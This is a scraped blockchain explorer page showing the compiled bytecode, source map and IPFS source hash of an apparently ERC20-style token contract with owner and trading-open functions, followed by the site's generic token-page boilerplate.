ffffffffff166370a08231866040518263ffffffff1660e01b8152600401610e3391906114f0565b602060405180830381865afa158015610e4e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610e7291906119a8565b90503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614158015610efd575060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b15610f4157610f3a6064610f2c6008548411610f1b57600754610f1d565b835b866111d390919063ffffffff16565b61121390919063ffffffff16565b9150610f45565b5f91505b610f958360015f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546110e590919063ffffffff16565b60015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506110388261102a8560015f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461123890919063ffffffff16565b6110e590919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516110d69190611419565b60405180910390a35050505050565b5f828211156110f2575f80fd5b5f82846110ff9190611a00565b90508091505092915050565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f8083036111e3575f905061120d565b5f82846111f09190611a33565b90508284826111ff9190611aa1565b14611208575f80fd5b809150505b92915050565b5f80821161121f575f80fd5b5f828461122c9190611aa1565b90508091505092915050565b5f8082846112469190611ad1565b905083811015611254575f80fd5b8091505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561129557808201518184015260208101905061127a565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6112ba8261125e565b6112c48185611268565b93506112d4818560208601611278565b6112dd816112a0565b840191505092915050565b5f6020820190508181035f83015261130081846112b0565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6113358261130c565b9050919050565b6113458161132b565b811461134f575f80fd5b50565b5f813590506113608161133c565b92915050565b5f819050919050565b61137881611366565b8114611382575f80fd5b50565b5f813590506113938161136f565b92915050565b5f80604083850312156113af576113ae611308565b5b5f6113bc85828601611352565b92505060206113cd85828601611385565b9150509250929050565b5f8115159050919050565b6113eb816113d7565b82525050565b5f6020820190506114045f8301846113e2565b92915050565b61141381611366565b82525050565b5f60208201905061142c5f83018461140a565b92915050565b5f805f6060848603121561144957611448611308565b5b5f61145686828701611352565b935050602061146786828701611352565b925050604061147886828701611385565b9150509250925092565b5f60ff82169050919050565b61149781611482565b82525050565b5f6020820190506114b05f83018461148e565b92915050565b5f602082840312156114cb576114ca611308565b5b5f6114d884828501611352565b91505092915050565b6114ea8161132b565b82525050565b5f6020820190506115035f8301846114e1565b92915050565b5f806040838503121561151f5761151e611308565b5b5f61152c85828601611352565b925050602061153d85828601611352565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61157b602083611268565b915061158682611547565b602082019050919050565b5f6020820190508181035f8301526115a88161156f565b9050919050565b7f54726164696e6720616c7265616479206f70656e65642e0000000000000000005f82015250565b5f6115e3601783611268565b91506115ee826115af565b602082019050919050565b5f6020820190508181035f830152611610816115d7565b9050919050565b5f815190506116258161133c565b92915050565b5f602082840312156116405761163f611308565b5b5f61164d84828501611617565b91505092915050565b5f6040820190506116695f8301856114e1565b61167660208301846114e1565b9392505050565b5f819050919050565b5f819050919050565b5f6116a96116a461169f8461167d565b611686565b611366565b9050919050565b6116b98161168f565b82525050565b5f60c0820190506116d25f8301896114e1565b6116df602083018861140a565b6116ec60408301876116b0565b6116f960608301866116b0565b61170660808301856114e1565b61171360a083018461140a565b979650505050505050565b5f8151905061172c8161136f565b92915050565b5f805f6060848603121561174957611748611308565b5b5f6117568682870161171e565b93505060206117678682870161171e565b92505060406117788682870161171e565b9150509250925092565b5f6040820190506117955f8301856114e1565b6117a2602083018461140a565b9392505050565b6117b2816113d7565b81146117bc575f80fd5b50565b5f815190506117cd816117a9565b92915050565b5f602082840312156117e8576117e7611308565b5b5f6117f5848285016117bf565b91505092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f611858602683611268565b9150611863826117fe565b604082019050919050565b5f6020820190508181035f8301526118858161184c565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6118e6602483611268565b91506118f18261188c565b604082019050919050565b5f6020820190508181035f830152611913816118da565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611974602283611268565b915061197f8261191a565b604082019050919050565b5f6020820190508181035f8301526119a181611968565b9050919050565b5f602082840312156119bd576119bc611308565b5b5f6119ca8482850161171e565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611a0a82611366565b9150611a1583611366565b9250828203905081811115611a2d57611a2c6119d3565b5b92915050565b5f611a3d82611366565b9150611a4883611366565b9250828202611a5681611366565b91508282048414831517611a6d57611a6c6119d3565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f611aab82611366565b9150611ab683611366565b925082611ac657611ac5611a74565b5b828204905092915050565b5f611adb82611366565b9150611ae683611366565b9250828201905080821115611afe57611afd6119d3565b5b9291505056fea2646970667358221220d23f36c042791c708533135b6be217b11226fcadff878ae2a0309096b2c5efb564736f6c63430008180033
Deployed Bytecode Sourcemap
2978:3770:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4038:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5285:150;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4129:91;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4678:256;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5443:560;;;:::i;:::-;;4445:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4327:110;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2425:103;;;;;;;;;;;;;:::i;:::-;;2204:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4228;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6011:156;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3583:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4536:134;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2534:238;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4038:83;4075:13;4108:5;;;;;;;;;;;;;;;;;4101:12;;4038:83;:::o;5285:150::-;5351:4;5368:37;5377:10;5389:7;5398:6;5368:8;:37::i;:::-;5423:4;5416:11;;5285:150;;;;:::o;4129:91::-;4173:7;4200:12;;4193:19;;4129:91;:::o;4678:256::-;4767:4;4784:36;4794:6;4802:9;4813:6;4784:9;:36::i;:::-;4831:73;4840:6;4848:10;4860:43;4896:6;4860:11;:19;4872:6;4860:19;;;;;;;;;;;;;;;:31;4880:10;4860:31;;;;;;;;;;;;;;;;:35;;:43;;;;:::i;:::-;4831:8;:73::i;:::-;4922:4;4915:11;;4678:256;;;;;:::o;5443:560::-;2350:12;:10;:12::i;:::-;2339:23;;:7;:5;:7::i;:::-;:23;;;2331:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5516:14:::1;;;;;;;;;;;5515:15;5507:51;;;;;;;;;;;;:::i;:::-;;;;;;;;;5569:63;5586:4;5601:15;;;;;;;;;;;5619:12;;5569:8;:63::i;:::-;5675:15;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5657:55;;;5721:4;5728:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5657:94;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5643:11;;:108;;;;;;;;;;;;;;;;;;5762:15;;;;;;;;;;;:31;;;5801:9;5820:4;5826:24;5844:4;5826:9;:24::i;:::-;5852:1;5855::::0;5858:7:::1;:5;:7::i;:::-;5867:15;5762:121;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;5901:11;;;;;;;;;;;5894:27;;;5930:15;;;;;;;;;;;5948:14;5894:69;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;5991:4;5974:14;;:21;;;;;;;;;;;;;;;;;;5443:560::o:0;4445:83::-;4486:5;4511:9;;;;;;;;;;;4504:16;;4445:83;:::o;4327:110::-;4384:7;4411:9;:18;4421:7;4411:18;;;;;;;;;;;;;;;;4404:25;;4327:110;;;:::o;2425:103::-;2350:12;:10;:12::i;:::-;2339:23;;:7;:5;:7::i;:::-;:23;;;2331:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;2490:30:::1;2517:1;2490:18;:30::i;:::-;2425:103::o:0;2204:87::-;2250:7;2277:6;;;;;;;;;;;2270:13;;2204:87;:::o;4228:::-;4267:13;4300:7;;;;;;;;;;;;;;;;;4293:14;;4228:87;:::o;6011:156::-;6080:4;6097:40;6107:10;6119:9;6130:6;6097:9;:40::i;:::-;6155:4;6148:11;;6011:156;;;;:::o;3583:26::-;;;;;;;;;;;;;:::o;4536:134::-;4608:7;4635:11;:18;4647:5;4635:18;;;;;;;;;;;;;;;:27;4654:7;4635:27;;;;;;;;;;;;;;;;4628:34;;4536:134;;;;:::o;2534:238::-;2350:12;:10;:12::i;:::-;2339:23;;:7;:5;:7::i;:::-;:23;;;2331:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;2657:1:::1;2637:22;;:8;:22;;::::0;2615:110:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;2736:28;2755:8;2736:18;:28::i;:::-;2534:238:::0;:::o;4942:335::-;5052:1;5035:19;;:5;:19;;;5027:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5133:1;5114:21;;:7;:21;;;5106:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5215:6;5185:11;:18;5197:5;5185:18;;;;;;;;;;;;;;;:27;5204:7;5185:27;;;;;;;;;;;;;;;:36;;;;5253:7;5237:32;;5246:5;5237:32;;;5262:6;5237:32;;;;;;:::i;:::-;;;;;;;;4942:335;;;:::o;6175:570::-;6255:12;6299:1;6290:6;:10;6282:19;;;;;;6336:1;6320:18;;:4;:18;;;6312:27;;;;;;6350:15;6375:16;;;;;;;;;;;6368:34;;;6403:4;6368:40;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6350:58;;6439:4;6423:21;;:4;:21;;;;:44;;;;;6456:11;;;;;;;;;;;6448:19;;:4;:19;;;;6423:44;6419:158;;;6492:53;6541:3;6492:44;6513:5;;6503:7;:15;:32;;6531:4;;6503:32;;;6521:7;6503:32;6492:6;:10;;:44;;;;:::i;:::-;:48;;:53;;;;:::i;:::-;6485:60;;6419:158;;;6573:1;6566:8;;6419:158;6605:27;6625:6;6605:9;:15;6615:4;6605:15;;;;;;;;;;;;;;;;:19;;:27;;;;:::i;:::-;6587:9;:15;6597:4;6587:15;;;;;;;;;;;;;;;:45;;;;6660:35;6690:4;6660:25;6678:6;6660:9;:13;6670:2;6660:13;;;;;;;;;;;;;;;;:17;;:25;;;;:::i;:::-;:29;;:35;;;;:::i;:::-;6644:9;:13;6654:2;6644:13;;;;;;;;;;;;;;;:51;;;;6726:2;6711:26;;6720:4;6711:26;;;6730:6;6711:26;;;;;;:::i;:::-;;;;;;;;6244:501;;6175:570;;;:::o;994:148::-;1052:7;1085:1;1080;:6;;1072:15;;;;;;1098:9;1114:1;1110;:5;;;;:::i;:::-;1098:17;;1133:1;1126:8;;;994:148;;;;:::o;1489:98::-;1542:7;1569:10;1562:17;;1489:98;:::o;2780:191::-;2854:16;2873:6;;;;;;;;;;;2854:25;;2899:8;2890:6;;:17;;;;;;;;;;;;;;;;;;2954:8;2923:40;;2944:8;2923:40;;;;;;;;;;;;2843:128;2780:191;:::o;801:185::-;859:7;888:1;883;:6;879:23;;899:1;892:8;;;;879:23;912:9;928:1;924;:5;;;;:::i;:::-;912:17;;957:1;952;948;:5;;;;:::i;:::-;:10;940:19;;;;;;977:1;970:8;;;801:185;;;;;:::o;1304:147::-;1362:7;1394:1;1390;:5;1382:14;;;;;;1407:9;1423:1;1419;:5;;;;:::i;:::-;1407:17;;1442:1;1435:8;;;1304:147;;;;:::o;1148:148::-;1206:7;1226:9;1242:1;1238;:5;;;;:::i;:::-;1226:17;;1267:1;1262;:6;;1254:15;;;;;;1287:1;1280:8;;;1148:148;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:329::-;4912:6;4961:2;4949:9;4940:7;4936:23;4932:32;4929:119;;;4967:79;;:::i;:::-;4929:119;5087:1;5112:53;5157:7;5148:6;5137:9;5133:22;5112:53;:::i;:::-;5102:63;;5058:117;4853:329;;;;:::o;5188:118::-;5275:24;5293:5;5275:24;:::i;:::-;5270:3;5263:37;5188:118;;:::o;5312:222::-;5405:4;5443:2;5432:9;5428:18;5420:26;;5456:71;5524:1;5513:9;5509:17;5500:6;5456:71;:::i;:::-;5312:222;;;;:::o;5540:474::-;5608:6;5616;5665:2;5653:9;5644:7;5640:23;5636:32;5633:119;;;5671:79;;:::i;:::-;5633:119;5791:1;5816:53;5861:7;5852:6;5841:9;5837:22;5816:53;:::i;:::-;5806:63;;5762:117;5918:2;5944:53;5989:7;5980:6;5969:9;5965:22;5944:53;:::i;:::-;5934:63;;5889:118;5540:474;;;;;:::o;6020:182::-;6160:34;6156:1;6148:6;6144:14;6137:58;6020:182;:::o;6208:366::-;6350:3;6371:67;6435:2;6430:3;6371:67;:::i;:::-;6364:74;;6447:93;6536:3;6447:93;:::i;:::-;6565:2;6560:3;6556:12;6549:19;;6208:366;;;:::o;6580:419::-;6746:4;6784:2;6773:9;6769:18;6761:26;;6833:9;6827:4;6823:20;6819:1;6808:9;6804:17;6797:47;6861:131;6987:4;6861:131;:::i;:::-;6853:139;;6580:419;;;:::o;7005:173::-;7145:25;7141:1;7133:6;7129:14;7122:49;7005:173;:::o;7184:366::-;7326:3;7347:67;7411:2;7406:3;7347:67;:::i;:::-;7340:74;;7423:93;7512:3;7423:93;:::i;:::-;7541:2;7536:3;7532:12;7525:19;;7184:366;;;:::o;7556:419::-;7722:4;7760:2;7749:9;7745:18;7737:26;;7809:9;7803:4;7799:20;7795:1;7784:9;7780:17;7773:47;7837:131;7963:4;7837:131;:::i;:::-;7829:139;;7556:419;;;:::o;7981:143::-;8038:5;8069:6;8063:13;8054:22;;8085:33;8112:5;8085:33;:::i;:::-;7981:143;;;;:::o;8130:351::-;8200:6;8249:2;8237:9;8228:7;8224:23;8220:32;8217:119;;;8255:79;;:::i;:::-;8217:119;8375:1;8400:64;8456:7;8447:6;8436:9;8432:22;8400:64;:::i;:::-;8390:74;;8346:128;8130:351;;;;:::o;8487:332::-;8608:4;8646:2;8635:9;8631:18;8623:26;;8659:71;8727:1;8716:9;8712:17;8703:6;8659:71;:::i;:::-;8740:72;8808:2;8797:9;8793:18;8784:6;8740:72;:::i;:::-;8487:332;;;;;:::o;8825:85::-;8870:7;8899:5;8888:16;;8825:85;;;:::o;8916:60::-;8944:3;8965:5;8958:12;;8916:60;;;:::o;8982:158::-;9040:9;9073:61;9091:42;9100:32;9126:5;9100:32;:::i;:::-;9091:42;:::i;:::-;9073:61;:::i;:::-;9060:74;;8982:158;;;:::o;9146:147::-;9241:45;9280:5;9241:45;:::i;:::-;9236:3;9229:58;9146:147;;:::o;9299:807::-;9548:4;9586:3;9575:9;9571:19;9563:27;;9600:71;9668:1;9657:9;9653:17;9644:6;9600:71;:::i;:::-;9681:72;9749:2;9738:9;9734:18;9725:6;9681:72;:::i;:::-;9763:80;9839:2;9828:9;9824:18;9815:6;9763:80;:::i;:::-;9853;9929:2;9918:9;9914:18;9905:6;9853:80;:::i;:::-;9943:73;10011:3;10000:9;9996:19;9987:6;9943:73;:::i;:::-;10026;10094:3;10083:9;10079:19;10070:6;10026:73;:::i;:::-;9299:807;;;;;;;;;:::o;10112:143::-;10169:5;10200:6;10194:13;10185:22;;10216:33;10243:5;10216:33;:::i;:::-;10112:143;;;;:::o;10261:663::-;10349:6;10357;10365;10414:2;10402:9;10393:7;10389:23;10385:32;10382:119;;;10420:79;;:::i;:::-;10382:119;10540:1;10565:64;10621:7;10612:6;10601:9;10597:22;10565:64;:::i;:::-;10555:74;;10511:128;10678:2;10704:64;10760:7;10751:6;10740:9;10736:22;10704:64;:::i;:::-;10694:74;;10649:129;10817:2;10843:64;10899:7;10890:6;10879:9;10875:22;10843:64;:::i;:::-;10833:74;;10788:129;10261:663;;;;;:::o;10930:332::-;11051:4;11089:2;11078:9;11074:18;11066:26;;11102:71;11170:1;11159:9;11155:17;11146:6;11102:71;:::i;:::-;11183:72;11251:2;11240:9;11236:18;11227:6;11183:72;:::i;:::-;10930:332;;;;;:::o;11268:116::-;11338:21;11353:5;11338:21;:::i;:::-;11331:5;11328:32;11318:60;;11374:1;11371;11364:12;11318:60;11268:116;:::o;11390:137::-;11444:5;11475:6;11469:13;11460:22;;11491:30;11515:5;11491:30;:::i;:::-;11390:137;;;;:::o;11533:345::-;11600:6;11649:2;11637:9;11628:7;11624:23;11620:32;11617:119;;;11655:79;;:::i;:::-;11617:119;11775:1;11800:61;11853:7;11844:6;11833:9;11829:22;11800:61;:::i;:::-;11790:71;;11746:125;11533:345;;;;:::o;11884:225::-;12024:34;12020:1;12012:6;12008:14;12001:58;12093:8;12088:2;12080:6;12076:15;12069:33;11884:225;:::o;12115:366::-;12257:3;12278:67;12342:2;12337:3;12278:67;:::i;:::-;12271:74;;12354:93;12443:3;12354:93;:::i;:::-;12472:2;12467:3;12463:12;12456:19;;12115:366;;;:::o;12487:419::-;12653:4;12691:2;12680:9;12676:18;12668:26;;12740:9;12734:4;12730:20;12726:1;12715:9;12711:17;12704:47;12768:131;12894:4;12768:131;:::i;:::-;12760:139;;12487:419;;;:::o;12912:223::-;13052:34;13048:1;13040:6;13036:14;13029:58;13121:6;13116:2;13108:6;13104:15;13097:31;12912:223;:::o;13141:366::-;13283:3;13304:67;13368:2;13363:3;13304:67;:::i;:::-;13297:74;;13380:93;13469:3;13380:93;:::i;:::-;13498:2;13493:3;13489:12;13482:19;;13141:366;;;:::o;13513:419::-;13679:4;13717:2;13706:9;13702:18;13694:26;;13766:9;13760:4;13756:20;13752:1;13741:9;13737:17;13730:47;13794:131;13920:4;13794:131;:::i;:::-;13786:139;;13513:419;;;:::o;13938:221::-;14078:34;14074:1;14066:6;14062:14;14055:58;14147:4;14142:2;14134:6;14130:15;14123:29;13938:221;:::o;14165:366::-;14307:3;14328:67;14392:2;14387:3;14328:67;:::i;:::-;14321:74;;14404:93;14493:3;14404:93;:::i;:::-;14522:2;14517:3;14513:12;14506:19;;14165:366;;;:::o;14537:419::-;14703:4;14741:2;14730:9;14726:18;14718:26;;14790:9;14784:4;14780:20;14776:1;14765:9;14761:17;14754:47;14818:131;14944:4;14818:131;:::i;:::-;14810:139;;14537:419;;;:::o;14962:351::-;15032:6;15081:2;15069:9;15060:7;15056:23;15052:32;15049:119;;;15087:79;;:::i;:::-;15049:119;15207:1;15232:64;15288:7;15279:6;15268:9;15264:22;15232:64;:::i;:::-;15222:74;;15178:128;14962:351;;;;:::o;15319:180::-;15367:77;15364:1;15357:88;15464:4;15461:1;15454:15;15488:4;15485:1;15478:15;15505:194;15545:4;15565:20;15583:1;15565:20;:::i;:::-;15560:25;;15599:20;15617:1;15599:20;:::i;:::-;15594:25;;15643:1;15640;15636:9;15628:17;;15667:1;15661:4;15658:11;15655:37;;;15672:18;;:::i;:::-;15655:37;15505:194;;;;:::o;15705:410::-;15745:7;15768:20;15786:1;15768:20;:::i;:::-;15763:25;;15802:20;15820:1;15802:20;:::i;:::-;15797:25;;15857:1;15854;15850:9;15879:30;15897:11;15879:30;:::i;:::-;15868:41;;16058:1;16049:7;16045:15;16042:1;16039:22;16019:1;16012:9;15992:83;15969:139;;16088:18;;:::i;:::-;15969:139;15753:362;15705:410;;;;:::o;16121:180::-;16169:77;16166:1;16159:88;16266:4;16263:1;16256:15;16290:4;16287:1;16280:15;16307:185;16347:1;16364:20;16382:1;16364:20;:::i;:::-;16359:25;;16398:20;16416:1;16398:20;:::i;:::-;16393:25;;16437:1;16427:35;;16442:18;;:::i;:::-;16427:35;16484:1;16481;16477:9;16472:14;;16307:185;;;;:::o;16498:191::-;16538:3;16557:20;16575:1;16557:20;:::i;:::-;16552:25;;16591:20;16609:1;16591:20;:::i;:::-;16586:25;;16634:1;16631;16627:9;16620:16;;16655:3;16652:1;16649:10;16646:36;;;16662:18;;:::i;:::-;16646:36;16498:191;;;;:::o
Swarm Source
ipfs://d23f36c042791c708533135b6be217b11226fcadff878ae2a0309096b2c5efb5
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.